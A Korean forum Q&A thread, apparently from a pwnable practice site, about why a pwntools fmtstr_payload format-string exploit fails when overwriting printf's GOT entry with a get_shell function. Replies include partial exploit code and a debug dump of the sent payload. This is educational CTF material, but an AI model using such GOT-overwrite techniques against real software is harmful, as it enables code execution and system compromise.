fmtstr_payload

printf_got를 get_shell로 덮어서 문제를 푸려 하는데
fmtstr_payload만 재대로 먹지 않는 거 같은데 왜 그런지 알 수 있을까요
payload = fmtstr(1, {printf_got : get_shell})
이런식으로 작성 했습니다.

#pwnable
작성자 정보
답변 2
qwerty_io
대표 업적 없음

fmtstr로도 해당 문제를 해결할 수 있습니다. 앞서 작성해주신 payload를 send로 보내게 되면 익스플로잇이 동작할 것으로 보이며, printf_got와 get_shell에 올바른 주소가 들어가있는지 확인해 봐야 할 것 같습니다.
혹시 확인 후에도 올바르게 작동하지 않는다면 페이로드 전체를 알려주시면 감사하겠습니다!

2024.12.18. 17:12
흠챼샤
대표 업적 없음

저도 같은 문제가 생겨서 한번 찾아봤어요

printf_got = e.got['printf']
get_shell = e.sym['get_shell']

payload = fmtstr_payload(1, printf_got : get_shell)

context.log_level = "debug" 놓고 디버깅해봤어요

[DEBUG] Sent 0x2c bytes:
    00000000  25 38 63 25  39 24 68 68  6e 25 39 37  63 25 31 30%8c%│9$hh│n%97│c%10│
    00000010  24 68 68 6e  25 31 30 35  33 63 25 31  31 24 68 6e  │$hhn│%105│3c%1│1$hn│
    00000020  13 a0 04 08  10 a0 04 08  11 a0 04 08               │····│····│····│
    0000002c

이렇게 들어가는데 제 생각에는 %1053c 때문에 Seg Fault가 나는 것 같아요
결국에 stack_buf에 저장될 문자열의 길이는 0x90을 넘으면 안 되는 것이기에 그런거 아닐까요

문제 풀이 보니까 fmtstr_payload로 푸신 분들이 좀 계시던데 저는 왜 이렇게 되는지 모르겠네요..
저도 초보라 정확히는 잘 모르지만 아무튼 제 생각은 이렇습니다

2025.01.18. 17:26
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기